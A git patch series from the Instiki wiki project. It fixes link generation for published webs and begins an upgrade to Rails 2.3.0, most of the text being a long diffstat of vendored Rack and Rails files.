From 43aadecc9978961368a565caf4bc9e87b3880371 Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Sun, 1 Feb 2009 16:17:14 -0600 Subject: [PATCH 01/14] Links in Published Webs Links in the 'show' action should be to the 'show' action. Links in the 'published' action should be to the 'published' action. Try to focus, Distler! --- lib/url_generator.rb | 14 +++++++++++--- test/functional/wiki_controller_test.rb | 7 +++++++ 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/url_generator.rb b/lib/url_generator.rb index 690d1b2b..41717b0a 100644 --- a/lib/url_generator.rb +++ b/lib/url_generator.rb @@ -85,14 +85,22 @@ class UrlGenerator < AbstractUrlGenerator end when :publish if known_page - web = Web.find_by_address(web_address) - action = web.published? ? 'published' : 'show' - href = @controller.url_for :controller => 'wiki', :web => web_address, :action => action, + href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'published', :id => name %{#{text}} else %{#{text}} end + when :show + if known_page + href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'show', + :id => name + %{#{text}} + else + href = @controller.url_for :controller => 'wiki', :web => web_address, :action => 'new', + :id => name + %{#{text}?} + end else if known_page web = Web.find_by_address(web_address) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index d7f867ef..666d5fe8 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -319,6 +319,13 @@ class WikiControllerTest < Test::Unit::TestCase assert_response(:success) assert_equal @home, r.template_objects['page'] + assert_match /That Way<\/a>/, r.body + + r = process('show', 'web' => 'wiki1', 'id' => 'HomePage') + + assert_response(:success) + assert_equal @home, r.template_objects['page'] + assert_match /That Way<\/a>/, r.body end From 4e14ccc74dca007ef3dc72f662e48546b1db406a Mon Sep 17 00:00:00 2001 From: Jacques Distler Date: Wed, 4 Feb 2009 14:26:08 -0600 Subject: [PATCH 02/14] Instiki 0.16.3: Rails 2.3.0 Instiki now runs on the Rails 2.3.0 Candidate Release. Among other improvements, this means that it now automagically selects between WEBrick and Mongrel. Just run ./instiki --daemon --- ...plication.rb => application_controller.rb} | 6 +- app/views/layouts/error.html.erb | 4 +- config/environment.rb | 5 +- instiki | 1 + lib/sanitizer.rb | 2 +- script/server | 135 +- test/functional/admin_controller_test.rb | 2 +- test/functional/application_test.rb | 16 +- test/functional/file_controller_test.rb | 10 +- test/functional/routes_test.rb | 2 +- test/functional/wiki_controller_test.rb | 39 +- test/test_helper.rb | 13 +- test/unit/page_renderer_test.rb | 2 +- test/unit/page_test.rb | 2 +- test/unit/web_test.rb | 2 +- test/unit/wiki_file_test.rb | 2 +- .../lib/form_spam_protection.rb | 2 +- .../lib/form_tag_helper_extensions.rb | 2 +- vendor/plugins/rack/AUTHORS | 8 + vendor/plugins/rack/COPYING | 18 + vendor/plugins/rack/ChangeLog | 1423 ++++++++++++ vendor/plugins/rack/KNOWN-ISSUES | 18 + vendor/plugins/rack/RDOX | 324 +++ vendor/plugins/rack/README | 306 +++ vendor/plugins/rack/Rakefile | 188 ++ vendor/plugins/rack/SPEC | 129 ++ vendor/plugins/rack/bin/rackup | 172 ++ vendor/plugins/rack/contrib/rack_logo.svg | 111 + vendor/plugins/rack/doc/classes/L2.html | 149 ++ vendor/plugins/rack/doc/classes/Rack.html | 438 ++++ .../rack/doc/classes/Rack/Adapter.html | 130 ++ .../doc/classes/Rack/Adapter/Camping.html | 181 ++ .../plugins/rack/doc/classes/Rack/Auth.html | 121 + .../rack/doc/classes/Rack/Auth/Basic.html | 179 ++ .../doc/classes/Rack/Auth/Basic/Request.html | 194 ++ .../rack/doc/classes/Rack/Auth/Digest.html | 105 + .../rack/doc/classes/Rack/Auth/OpenID.html | 807 +++++++ .../classes/Rack/Auth/OpenID/NoSession.html | 111 + .../rack/doc/classes/Rack/Builder.html | 340 +++ .../rack/doc/classes/Rack/Cascade.html | 265 +++ .../rack/doc/classes/Rack/CommonLogger.html | 308 +++ .../rack/doc/classes/Rack/ConditionalGet.html | 199 ++ .../rack/doc/classes/Rack/ContentLength.html | 191 ++ .../rack/doc/classes/Rack/Deflater.html | 289 +++ .../rack/doc/classes/Rack/Directory.html | 493 ++++ .../plugins/rack/doc/classes/Rack/File.html | 378 ++++ .../rack/doc/classes/Rack/ForwardRequest.html | 184 ++ .../rack/doc/classes/Rack/Forwarder.html | 196 ++ .../rack/doc/classes/Rack/Handler.html | 242 ++ .../rack/doc/classes/Rack/Handler/CGI.html | 254 +++ .../classes/Rack/Handler/EventedMongrel.html | 111 + .../doc/classes/Rack/Handler/FastCGI.html | 264 +++ .../rack/doc/classes/Rack/Handler/LSWS.html | 250 ++ .../doc/classes/Rack/Handler/Mongrel.html | 258 +++ .../rack/doc/classes/Rack/Handler/SCGI.html | 244 ++ .../Rack/Handler/SwiftipliedMongrel.html | 111 + .../rack/doc/classes/Rack/Handler/Thin.html | 150 ++ .../doc/classes/Rack/Handler/WEBrick.html | 237 ++ .../plugins/rack/doc/classes/Rack/Head.html | 178 ++ .../plugins/rack/doc/classes/Rack/Lint.html | 154 ++ .../rack/doc/classes/Rack/Lobster.html | 136 ++ .../rack/doc/classes/Rack/MethodOverride.html | 206 ++ .../plugins/rack/doc/classes/Rack/Mime.html | 200 ++ .../rack/doc/classes/Rack/MockRequest.html | 375 +++ .../classes/Rack/MockRequest/FatalWarner.html | 217 ++ .../Rack/MockRequest/FatalWarning.html | 111 + .../rack/doc/classes/Rack/MockResponse.html | 298 +++ .../rack/doc/classes/Rack/Recursive.html | 218 ++ .../rack/doc/classes/Rack/Reloader.html | 249 ++ .../rack/doc/classes/Rack/Request.html | 1126 +++++++++ .../rack/doc/classes/Rack/Response.html | 518 +++++ .../doc/classes/Rack/Response/Helpers.html | 479 ++++ .../rack/doc/classes/Rack/Session.html | 125 + .../rack/doc/classes/Rack/Session/Cookie.html | 200 ++ .../doc/classes/Rack/Session/Memcache.html | 204 ++ .../rack/doc/classes/Rack/Session/Pool.html | 201 ++ .../rack/doc/classes/Rack/ShowExceptions.html | 260 +++ .../rack/doc/classes/Rack/ShowStatus.html | 199 ++ .../plugins/rack/doc/classes/Rack/Static.html | 205 ++ .../plugins/rack/doc/classes/Rack/URLMap.html | 214 ++ .../plugins/rack/doc/classes/Rack/Utils.html | 377 ++++ .../rack/doc/classes/Rack/Utils/Context.html | 299 +++ .../doc/classes/Rack/Utils/HeaderHash.html | 373 +++ .../doc/classes/Rack/Utils/Multipart.html | 246 ++ vendor/plugins/rack/doc/created.rid | 1 + .../plugins/rack/doc/files/KNOWN-ISSUES.html | 127 ++ vendor/plugins/rack/doc/files/RDOX.html | 961 ++++++++ vendor/plugins/rack/doc/files/README.html | 720 ++++++ vendor/plugins/rack/doc/files/SPEC.html | 318 +++ .../files/lib/rack/adapter/camping_rb.html | 101 + .../doc/files/lib/rack/auth/basic_rb.html | 109 + .../doc/files/lib/rack/auth/openid_rb.html | 119 + .../rack/doc/files/lib/rack/builder_rb.html | 101 + .../rack/doc/files/lib/rack/cascade_rb.html | 101 + .../doc/files/lib/rack/commonlogger_rb.html | 101 + .../doc/files/lib/rack/conditionalget_rb.html | 101 + .../doc/files/lib/rack/content_length_rb.html | 101 + .../rack/doc/files/lib/rack/deflater_rb.html | 110 + .../rack/doc/files/lib/rack/directory_rb.html | 109 + .../rack/doc/files/lib/rack/file_rb.html | 109 + .../rack/doc/files/lib/rack/forward_rb.html | 111 + .../doc/files/lib/rack/handler/cgi_rb.html | 101 + .../lib/rack/handler/evented_mongrel_rb.html | 108 + .../files/lib/rack/handler/fastcgi_rb.html | 109 + .../doc/files/lib/rack/handler/lsws_rb.html | 108 + .../files/lib/rack/handler/mongrel_rb.html | 109 + .../doc/files/lib/rack/handler/scgi_rb.html | 109 + .../rack/handler/swiftiplied_mongrel_rb.html | 108 + .../doc/files/lib/rack/handler/thin_rb.html | 108 + .../files/lib/rack/handler/webrick_rb.html | 109 + .../rack/doc/files/lib/rack/handler_rb.html | 101 + .../rack/doc/files/lib/rack/head_rb.html | 101 + .../rack/doc/files/lib/rack/lint_rb.html | 101 + .../rack/doc/files/lib/rack/lobster_rb.html | 110 + .../doc/files/lib/rack/methodoverride_rb.html | 101 + .../rack/doc/files/lib/rack/mime_rb.html | 101 + .../rack/doc/files/lib/rack/mock_rb.html | 112 + .../rack/doc/files/lib/rack/recursive_rb.html | 108 + .../rack/doc/files/lib/rack/reloader_rb.html | 108 + .../rack/doc/files/lib/rack/request_rb.html | 108 + .../rack/doc/files/lib/rack/response_rb.html | 109 + .../doc/files/lib/rack/session/cookie_rb.html | 108 + .../files/lib/rack/session/memcache_rb.html | 115 + .../doc/files/lib/rack/session/pool_rb.html | 120 + .../doc/files/lib/rack/showexceptions_rb.html | 110 + .../doc/files/lib/rack/showstatus_rb.html | 110 + .../rack/doc/files/lib/rack/static_rb.html | 101 + .../rack/doc/files/lib/rack/urlmap_rb.html | 101 + .../rack/doc/files/lib/rack/utils_rb.html | 109 + .../plugins/rack/doc/files/lib/rack_rb.html | 113 + vendor/plugins/rack/doc/fr_class_index.html | 82 + vendor/plugins/rack/doc/fr_file_index.html | 71 + vendor/plugins/rack/doc/fr_method_index.html | 236 ++ vendor/plugins/rack/doc/index.html | 24 + vendor/plugins/rack/doc/rdoc-style.css | 208 ++ vendor/plugins/rack/example/lobster.ru | 4 + .../plugins/rack/example/protectedlobster.rb | 14 + .../plugins/rack/example/protectedlobster.ru | 8 + vendor/plugins/rack/lib/rack.rb | 86 + .../plugins/rack/lib/rack/adapter/camping.rb | 22 + .../rack/lib/rack/auth/abstract/handler.rb | 28 + .../rack/lib/rack/auth/abstract/request.rb | 37 + vendor/plugins/rack/lib/rack/auth/basic.rb | 58 + .../plugins/rack/lib/rack/auth/digest/md5.rb | 124 + .../rack/lib/rack/auth/digest/nonce.rb | 51 + .../rack/lib/rack/auth/digest/params.rb | 55 + .../rack/lib/rack/auth/digest/request.rb | 40 + vendor/plugins/rack/lib/rack/auth/openid.rb | 438 ++++ vendor/plugins/rack/lib/rack/builder.rb | 67 + vendor/plugins/rack/lib/rack/cascade.rb | 36 + vendor/plugins/rack/lib/rack/commonlogger.rb | 61 + .../plugins/rack/lib/rack/conditionalget.rb | 43 + .../plugins/rack/lib/rack/content_length.rb | 25 + vendor/plugins/rack/lib/rack/deflater.rb | 87 + vendor/plugins/rack/lib/rack/directory.rb | 150 ++ vendor/plugins/rack/lib/rack/file.rb | 85 + vendor/plugins/rack/lib/rack/handler.rb | 48 + vendor/plugins/rack/lib/rack/handler/cgi.rb | 57 + .../rack/lib/rack/handler/evented_mongrel.rb | 8 + .../plugins/rack/lib/rack/handler/fastcgi.rb | 86 + vendor/plugins/rack/lib/rack/handler/lsws.rb | 52 + .../plugins/rack/lib/rack/handler/mongrel.rb | 82 + vendor/plugins/rack/lib/rack/handler/scgi.rb | 57 + .../lib/rack/handler/swiftiplied_mongrel.rb | 8 + vendor/plugins/rack/lib/rack/handler/thin.rb | 15 + .../plugins/rack/lib/rack/handler/webrick.rb | 62 + vendor/plugins/rack/lib/rack/head.rb | 19 + vendor/plugins/rack/lib/rack/lint.rb | 465 ++++ vendor/plugins/rack/lib/rack/lobster.rb | 65 + .../plugins/rack/lib/rack/methodoverride.rb | 27 + vendor/plugins/rack/lib/rack/mime.rb | 204 ++ vendor/plugins/rack/lib/rack/mock.rb | 160 ++ vendor/plugins/rack/lib/rack/recursive.rb | 57 + vendor/plugins/rack/lib/rack/reloader.rb | 64 + vendor/plugins/rack/lib/rack/request.rb | 218 ++ vendor/plugins/rack/lib/rack/response.rb | 171 ++ .../rack/lib/rack/session/abstract/id.rb | 153 ++ .../plugins/rack/lib/rack/session/cookie.rb | 89 + .../plugins/rack/lib/rack/session/memcache.rb | 97 + vendor/plugins/rack/lib/rack/session/pool.rb | 73 + .../plugins/rack/lib/rack/showexceptions.rb | 348 +++ vendor/plugins/rack/lib/rack/showstatus.rb | 106 + vendor/plugins/rack/lib/rack/static.rb | 38 + vendor/plugins/rack/lib/rack/urlmap.rb | 48 + vendor/plugins/rack/lib/rack/utils.rb | 347 +++ vendor/plugins/rack/test/cgi/lighttpd.conf | 20 + vendor/plugins/rack/test/cgi/test | 9 + vendor/plugins/rack/test/cgi/test.fcgi | 8 + vendor/plugins/rack/test/cgi/test.ru | 7 + .../plugins/rack/test/spec_rack_auth_basic.rb | 69 + .../rack/test/spec_rack_auth_digest.rb | 169 ++ .../rack/test/spec_rack_auth_openid.rb | 137 ++ vendor/plugins/rack/test/spec_rack_builder.rb | 84 + vendor/plugins/rack/test/spec_rack_camping.rb | 51 + vendor/plugins/rack/test/spec_rack_cascade.rb | 50 + vendor/plugins/rack/test/spec_rack_cgi.rb | 89 + .../rack/test/spec_rack_commonlogger.rb | 32 + .../rack/test/spec_rack_conditionalget.rb | 41 + .../rack/test/spec_rack_content_length.rb | 43 + .../plugins/rack/test/spec_rack_deflater.rb | 105 + .../plugins/rack/test/spec_rack_directory.rb | 61 + vendor/plugins/rack/test/spec_rack_fastcgi.rb | 89 + vendor/plugins/rack/test/spec_rack_file.rb | 64 + vendor/plugins/rack/test/spec_rack_handler.rb | 24 + vendor/plugins/rack/test/spec_rack_head.rb | 30 + vendor/plugins/rack/test/spec_rack_lint.rb | 380 ++++ vendor/plugins/rack/test/spec_rack_lobster.rb | 45 + .../rack/test/spec_rack_methodoverride.rb | 60 + vendor/plugins/rack/test/spec_rack_mock.rb | 152 ++ vendor/plugins/rack/test/spec_rack_mongrel.rb | 189 ++ .../plugins/rack/test/spec_rack_recursive.rb | 77 + vendor/plugins/rack/test/spec_rack_request.rb | 446 ++++ .../plugins/rack/test/spec_rack_response.rb | 174 ++ .../rack/test/spec_rack_session_cookie.rb | 82 + .../rack/test/spec_rack_session_memcache.rb | 132 ++ .../rack/test/spec_rack_session_pool.rb | 84 + .../rack/test/spec_rack_showexceptions.rb | 21 + .../plugins/rack/test/spec_rack_showstatus.rb | 72 + vendor/plugins/rack/test/spec_rack_static.rb | 37 + vendor/plugins/rack/test/spec_rack_thin.rb | 90 + vendor/plugins/rack/test/spec_rack_urlmap.rb | 175 ++ vendor/plugins/rack/test/spec_rack_utils.rb | 176 ++ vendor/plugins/rack/test/spec_rack_webrick.rb | 123 + vendor/plugins/rack/test/testrequest.rb | 57 + vendor/rails/actionmailer/CHANGELOG | 28 +- vendor/rails/actionmailer/MIT-LICENSE | 2 +- vendor/rails/actionmailer/Rakefile | 2 +- .../rails/actionmailer/lib/action_mailer.rb | 41 +- .../actionmailer/lib/action_mailer/base.rb | 48 +- .../actionmailer/lib/action_mailer/helpers.rb | 2 + .../lib/action_mailer/mail_helper.rb | 2 - .../actionmailer/lib/action_mailer/part.rb | 10 +- .../lib/action_mailer/part_container.rb | 6 +- .../actionmailer/lib/action_mailer/quoting.rb | 2 +- .../lib/action_mailer/test_case.rb | 2 +- .../lib/action_mailer/test_helper.rb | 1 + .../actionmailer/lib/action_mailer/utils.rb | 1 - .../actionmailer/lib/action_mailer/vendor.rb | 14 - .../lib/action_mailer/vendor/text_format.rb | 10 + .../lib/action_mailer/vendor/tmail.rb | 17 + .../actionmailer/lib/action_mailer/version.rb | 4 +- .../rails/actionmailer/test/abstract_unit.rb | 8 +- .../actionmailer/test/asset_host_test.rb | 54 + .../email_with_asset.html.erb | 1 + .../actionmailer/test/mail_service_test.rb | 26 +- .../rails/actionmailer/test/quoting_test.rb | 7 +- .../actionmailer/test/test_helper_test.rb | 8 +- vendor/rails/actionpack/CHANGELOG | 855 ++++--- vendor/rails/actionpack/MIT-LICENSE | 2 +- vendor/rails/actionpack/README | 96 +- vendor/rails/actionpack/Rakefile | 3 +- .../rails/actionpack/lib/action_controller.rb | 122 +- .../lib/action_controller/assertions.rb | 69 - .../assertions/model_assertions.rb | 1 + .../assertions/response_assertions.rb | 59 +- .../assertions/routing_assertions.rb | 2 +- .../assertions/selector_assertions.rb | 29 +- .../assertions/tag_assertions.rb | 5 +- .../actionpack/lib/action_controller/base.rb | 147 +- .../lib/action_controller/benchmarking.rb | 18 +- .../lib/action_controller/caching.rb | 19 +- .../lib/action_controller/caching/actions.rb | 2 +- .../action_controller/caching/fragments.rb | 48 +- .../lib/action_controller/caching/pages.rb | 28 +- .../action_controller/caching/sql_cache.rb | 18 - .../lib/action_controller/caching/sweeping.rb | 4 +- .../lib/action_controller/cgi_ext.rb | 1 - .../lib/action_controller/cgi_ext/cookie.rb | 2 + .../lib/action_controller/cgi_ext/session.rb | 53 - .../lib/action_controller/cgi_process.rb | 219 +- .../lib/action_controller/components.rb | 169 -- .../lib/action_controller/cookies.rb | 36 +- .../lib/action_controller/dispatcher.rb | 130 +- .../lib/action_controller/failsafe.rb | 52 + .../actionpack/lib/action_controller/flash.rb | 85 +- .../lib/action_controller/helpers.rb | 22 +- .../action_controller/http_authentication.rb | 196 +- .../lib/action_controller/integration.rb | 198 +- .../lib/action_controller/layout.rb | 54 +- .../lib/action_controller/middleware_stack.rb | 109 + .../lib/action_controller/middlewares.rb | 22 + .../lib/action_controller/mime_responds.rb | 23 +- .../lib/action_controller/mime_type.rb | 8 + .../lib/action_controller/params_parser.rb | 71 + .../lib/action_controller/performance_test.rb | 1 - .../action_controller/polymorphic_routes.rb | 59 +- .../lib/action_controller/rack_ext.rb | 3 + .../lib/action_controller/rack_ext/lock.rb | 21 + .../action_controller/rack_ext/multipart.rb | 22 + .../action_controller/rack_ext/parse_query.rb | 17 + .../lib/action_controller/rack_process.rb | 303 --- .../lib/action_controller/request.rb | 589 +---- .../request_forgery_protection.rb | 46 +- .../lib/action_controller/request_profiler.rb | 169 -- .../lib/action_controller/rescue.rb | 90 +- .../lib/action_controller/resources.rb | 54 +- .../lib/action_controller/response.rb | 177 +- .../lib/action_controller/rewindable_input.rb | 28 + .../lib/action_controller/routing.rb | 12 +- .../lib/action_controller/routing/builder.rb | 2 + .../routing/optimisations.rb | 2 +- .../routing/recognition_optimisation.rb | 2 +- .../lib/action_controller/routing/route.rb | 20 +- .../action_controller/routing/route_set.rb | 125 +- .../lib/action_controller/routing/segments.rb | 31 + .../session/abstract_store.rb | 168 ++ .../session/active_record_store.rb | 340 --- .../action_controller/session/cookie_store.rb | 367 +-- .../action_controller/session/drb_server.rb | 32 - .../action_controller/session/drb_store.rb | 35 - .../session/mem_cache_store.rb | 123 +- .../action_controller/session_management.rb | 160 +- .../lib/action_controller/streaming.rb | 15 +- .../templates/rescues/diagnostics.erb | 4 +- .../templates/rescues/template_error.erb | 4 +- .../lib/action_controller/test_case.rb | 112 +- .../lib/action_controller/test_process.rb | 249 +- .../lib/action_controller/uploaded_file.rb | 44 + .../url_encoded_pair_parser.rb | 155 ++ .../lib/action_controller/url_rewriter.rb | 9 +- .../action_controller/vendor/html-scanner.rb | 16 + vendor/rails/actionpack/lib/action_pack.rb | 2 +- .../actionpack/lib/action_pack/version.rb | 4 +- vendor/rails/actionpack/lib/action_view.rb | 38 +- .../rails/actionpack/lib/action_view/base.rb | 103 +- .../actionpack/lib/action_view/erb/util.rb | 38 + .../actionpack/lib/action_view/helpers.rb | 29 +- .../action_view/helpers/asset_tag_helper.rb | 642 +++--- .../action_view/helpers/benchmark_helper.rb | 31 +- .../lib/action_view/helpers/date_helper.rb | 87 +- .../lib/action_view/helpers/form_helper.rb | 206 +- .../helpers/form_options_helper.rb | 79 +- .../lib/action_view/helpers/number_helper.rb | 44 +- .../action_view/helpers/prototype_helper.rb | 12 +- .../action_view/helpers/sanitize_helper.rb | 10 - .../helpers/scriptaculous_helper.rb | 1 + .../lib/action_view/helpers/tag_helper.rb | 5 +- .../lib/action_view/helpers/text_helper.rb | 220 +- .../lib/action_view/inline_template.rb | 2 +- .../actionpack/lib/action_view/locale/en.yml | 19 + .../actionpack/lib/action_view/partials.rb | 34 +- .../rails/actionpack/lib/action_view/paths.rb | 102 +- .../actionpack/lib/action_view/renderable.rb | 34 +- .../lib/action_view/renderable_partial.rb | 7 +- .../actionpack/lib/action_view/template.rb | 193 +- .../lib/action_view/template_error.rb | 17 +- .../lib/action_view/template_handler.rb | 26 +- .../lib/action_view/template_handlers.rb | 15 +- .../lib/action_view/template_handlers/erb.rb | 41 +- .../lib/action_view/template_handlers/rjs.rb | 1 + .../actionpack/lib/action_view/test_case.rb | 28 +- vendor/rails/actionpack/test/abstract_unit.rb | 35 +- .../actionpack/test/active_record_unit.rb | 6 +- .../activerecord/active_record_store_test.rb | 239 +- ...partial_with_record_identification_test.rb | 22 +- .../controller/action_pack_assertions_test.rb | 48 +- .../test/controller/addresses_render_test.rb | 9 +- .../test/controller/assert_select_test.rb | 144 +- .../actionpack/test/controller/base_test.rb | 24 +- .../test/controller/benchmark_test.rb | 6 +- .../test/controller/caching_test.rb | 20 +- .../test/controller/capture_test.rb | 9 +- .../actionpack/test/controller/cgi_test.rb | 263 --- .../test/controller/components_test.rb | 156 -- .../test/controller/content_type_test.rb | 9 +- .../actionpack/test/controller/cookie_test.rb | 95 +- .../deprecated_base_methods_test.rb | 20 +- .../test/controller/dispatcher_test.rb | 41 +- .../test/controller/filters_test.rb | 8 +- .../actionpack/test/controller/flash_test.rb | 8 +- .../actionpack/test/controller/helper_test.rb | 16 +- .../controller/html-scanner/sanitizer_test.rb | 2 +- .../controller/http_authentication_test.rb | 54 - .../http_basic_authentication_test.rb | 88 + .../http_digest_authentication_test.rb | 130 ++ .../test/controller/integration_test.rb | 108 +- .../controller/integration_upload_test.rb | 43 - .../actionpack/test/controller/layout_test.rb | 66 +- .../test/controller/middleware_stack_test.rb | 76 + .../test/controller/mime_responds_test.rb | 16 +- .../test/controller/mime_type_test.rb | 9 + .../controller/polymorphic_routes_test.rb | 21 +- .../actionpack/test/controller/rack_test.rb | 117 +- .../test/controller/redirect_test.rb | 16 +- .../actionpack/test/controller/render_test.rb | 195 +- .../request/json_params_parsing_test.rb | 45 + .../request/multipart_params_parsing_test.rb | 223 ++ .../request/query_string_parsing_test.rb | 120 + .../url_encoded_params_parsing_test.rb | 184 ++ .../request/xml_params_parsing_test.rb | 88 + .../request_forgery_protection_test.rb | 99 +- .../test/controller/request_test.rb | 562 +---- .../actionpack/test/controller/rescue_test.rb | 71 +- .../test/controller/resources_test.rb | 75 +- .../test/controller/routing_test.rb | 163 +- .../test/controller/send_file_test.rb | 33 +- .../controller/session/cookie_store_test.rb | 411 ++-- .../session/mem_cache_store_test.rb | 257 +-- .../controller/session/test_session_test.rb | 58 + .../test/controller/session_fixation_test.rb | 89 - .../controller/session_management_test.rb | 178 -- .../actionpack/test/controller/test_test.rb | 45 +- .../test/controller/url_rewriter_test.rb | 56 +- .../test/controller/verification_test.rb | 2 +- .../test/controller/view_paths_test.rb | 28 +- .../test/controller/webservice_test.rb | 323 +-- .../fixtures/alternate_helpers/foo_helper.rb | 3 + .../actionpack/test/fixtures/multipart/empty | 10 + .../test/fixtures/multipart/hello.txt | 1 + .../actionpack/test/fixtures/multipart/none | 9 + .../test/fixtures/public/500.da.html | 1 + .../actionpack/test/fixtures/replies.yml | 2 +- .../test/fixtures/test/_one.html.erb | 1 + .../test/fixtures/test/_two.html.erb | 1 + .../test/fixtures/test/dont_pick_me | 1 + .../test/fixtures/test/hello.builder | 2 +- .../fixtures/test/hello_world.da.html.erb | 1 + .../test/render_explicit_html_template.js.rjs | 1 + .../test/render_implicit_html_template.js.rjs | 1 + ...it_html_template_from_xhr_request.html.erb | 1 + .../test/template/asset_tag_helper_test.rb | 62 +- .../test/template/atom_feed_helper_test.rb | 8 +- .../test/template/benchmark_helper_test.rb | 74 +- .../test/template/compiled_templates_test.rb | 74 +- .../test/template/date_helper_i18n_test.rb | 11 + .../test/template/date_helper_test.rb | 416 +++- .../test/template/form_helper_test.rb | 143 +- .../test/template/form_options_helper_test.rb | 45 +- .../test/template/number_helper_i18n_test.rb | 21 +- .../actionpack/test/template/render_test.rb | 100 +- .../test/template/text_helper_test.rb | 173 +- .../actionpack/test/view/test_case_test.rb | 8 + .../activemodel/lib/active_model/errors.rb | 2 + .../lib/active_model/state_machine.rb | 14 +- .../lib/active_model/state_machine/event.rb | 2 + .../lib/active_model/state_machine/machine.rb | 8 +- .../lib/active_model/state_machine/state.rb | 7 +- .../rails/activemodel/test/observing_test.rb | 38 +- .../test/state_machine/event_test.rb | 18 +- .../test/state_machine/machine_test.rb | 4 +- .../test/state_machine/state_test.rb | 56 +- .../state_machine/state_transition_test.rb | 106 +- .../activemodel/test/state_machine_test.rb | 180 +- vendor/rails/activemodel/test/test_helper.rb | 36 +- vendor/rails/activerecord/CHANGELOG | 830 +++---- vendor/rails/activerecord/MIT-LICENSE | 2 +- vendor/rails/activerecord/Rakefile | 10 +- .../rails/activerecord/lib/active_record.rb | 90 +- .../lib/active_record/association_preload.rb | 53 +- .../lib/active_record/associations.rb | 236 +- .../associations/association_collection.rb | 6 +- .../associations/association_proxy.rb | 11 +- .../has_and_belongs_to_many_association.rb | 12 +- .../has_many_through_association.rb | 6 +- .../lib/active_record/autosave_association.rb | 213 ++ .../activerecord/lib/active_record/base.rb | 350 ++- .../lib/active_record/calculations.rb | 24 +- .../lib/active_record/callbacks.rb | 7 +- .../abstract/connection_specification.rb | 3 + .../abstract/database_statements.rb | 118 +- .../abstract/query_cache.rb | 12 +- .../abstract/schema_definitions.rb | 52 +- .../connection_adapters/abstract_adapter.rb | 34 +- .../connection_adapters/mysql_adapter.rb | 78 +- .../connection_adapters/postgresql_adapter.rb | 71 +- .../connection_adapters/sqlite_adapter.rb | 6 +- .../activerecord/lib/active_record/dirty.rb | 8 +- .../lib/active_record/dynamic_scope_match.rb | 25 + .../lib/active_record/fixtures.rb | 358 +-- .../lib/active_record/locale/en.yml | 2 +- .../lib/active_record/migration.rb | 4 +- .../lib/active_record/named_scope.rb | 2 +- .../lib/active_record/nested_attributes.rb | 279 +++ .../lib/active_record/query_cache.rb | 38 +- .../lib/active_record/reflection.rb | 13 + .../lib/active_record/schema_dumper.rb | 2 + .../lib/active_record/serialization.rb | 4 +- .../serializers/xml_serializer.rb | 23 +- .../lib/active_record/session_store.rb | 314 +++ .../lib/active_record/test_case.rb | 11 +- .../lib/active_record/timestamp.rb | 4 +- .../lib/active_record/transactions.rb | 70 +- .../lib/active_record/validations.rb | 36 +- .../activerecord/lib/active_record/version.rb | 4 +- .../activerecord/test/cases/ar_schema_test.rb | 1 - .../cascaded_eager_loading_test.rb | 8 + .../test/cases/associations/eager_test.rb | 136 +- ...s_and_belongs_to_many_associations_test.rb | 16 + .../has_many_associations_test.rb | 27 +- .../has_many_through_associations_test.rb | 7 + .../has_one_through_associations_test.rb | 17 +- .../test/cases/autosave_association_test.rb | 386 ++++ .../activerecord/test/cases/base_test.rb | 22 + .../test/cases/calculations_test.rb | 5 +- .../activerecord/test/cases/callbacks_test.rb | 44 +- .../test/cases/connection_test_mysql.rb | 26 + .../test/cases/copy_table_test_sqlite.rb | 11 + .../activerecord/test/cases/defaults_test.rb | 63 +- .../activerecord/test/cases/dirty_test.rb | 40 +- .../activerecord/test/cases/finder_test.rb | 7 + .../activerecord/test/cases/fixtures_test.rb | 8 +- .../rails/activerecord/test/cases/helper.rb | 36 +- .../test/cases/json_serialization_test.rb | 2 +- .../test/cases/method_scoping_test.rb | 95 + .../test/cases/named_scope_test.rb | 42 +- .../test/cases/nested_attributes_test.rb | 359 +++ .../test/cases/reflection_test.rb | 9 + .../test/cases/reload_models_test.rb | 4 +- .../activerecord/test/cases/repair_helper.rb | 50 + .../test/cases/schema_dumper_test.rb | 1 - .../test/cases/transactions_test.rb | 166 +- .../test/cases/validations_i18n_test.rb | 10 +- .../test/cases/validations_test.rb | 358 +-- .../test/cases/xml_serialization_test.rb | 7 + .../connections/jdbc_jdbcderby/connection.rb | 18 + .../connections/jdbc_jdbch2/connection.rb | 18 + .../connections/jdbc_jdbchsqldb/connection.rb | 18 + .../connections/jdbc_jdbcmysql/connection.rb | 26 + .../jdbc_jdbcpostgresql/connection.rb | 26 + .../jdbc_jdbcsqlite3/connection.rb | 25 + .../test/fixtures/member_types.yml | 6 + .../activerecord/test/fixtures/members.yml | 4 +- .../activerecord/test/fixtures/people.yml | 11 +- .../rails/activerecord/test/models/author.rb | 1 + vendor/rails/activerecord/test/models/bird.rb | 3 + .../activerecord/test/models/category.rb | 1 + .../rails/activerecord/test/models/company.rb | 1 + .../activerecord/test/models/developer.rb | 12 + .../rails/activerecord/test/models/member.rb | 1 + .../activerecord/test/models/member_detail.rb | 1 + .../activerecord/test/models/member_type.rb | 3 + .../rails/activerecord/test/models/parrot.rb | 2 + .../rails/activerecord/test/models/person.rb | 6 + .../rails/activerecord/test/models/pirate.rb | 7 + vendor/rails/activerecord/test/models/post.rb | 6 + .../rails/activerecord/test/models/project.rb | 1 + vendor/rails/activerecord/test/models/ship.rb | 7 + .../activerecord/test/models/ship_part.rb | 5 + .../rails/activerecord/test/models/topic.rb | 2 + .../rails/activerecord/test/schema/schema.rb | 28 +- vendor/rails/activeresource/CHANGELOG | 52 +- vendor/rails/activeresource/MIT-LICENSE | 2 +- vendor/rails/activeresource/Rakefile | 2 +- .../lib/active_resource/base.rb | 9 +- .../lib/active_resource/connection.rb | 4 +- .../lib/active_resource/http_mock.rb | 8 + .../lib/active_resource/version.rb | 4 +- .../activeresource/test/base/equality_test.rb | 9 + vendor/rails/activeresource/test/base_test.rb | 95 +- .../rails/activeresource/test/format_test.rb | 28 +- vendor/rails/activesupport/CHANGELOG | 211 +- vendor/rails/activesupport/MIT-LICENSE | 2 +- .../rails/activesupport/lib/active_support.rb | 64 +- .../lib/active_support/backtrace_cleaner.rb | 72 + .../lib/active_support/buffered_logger.rb | 21 +- .../activesupport/lib/active_support/cache.rb | 21 +- .../lib/active_support/cache/drb_store.rb | 5 +- 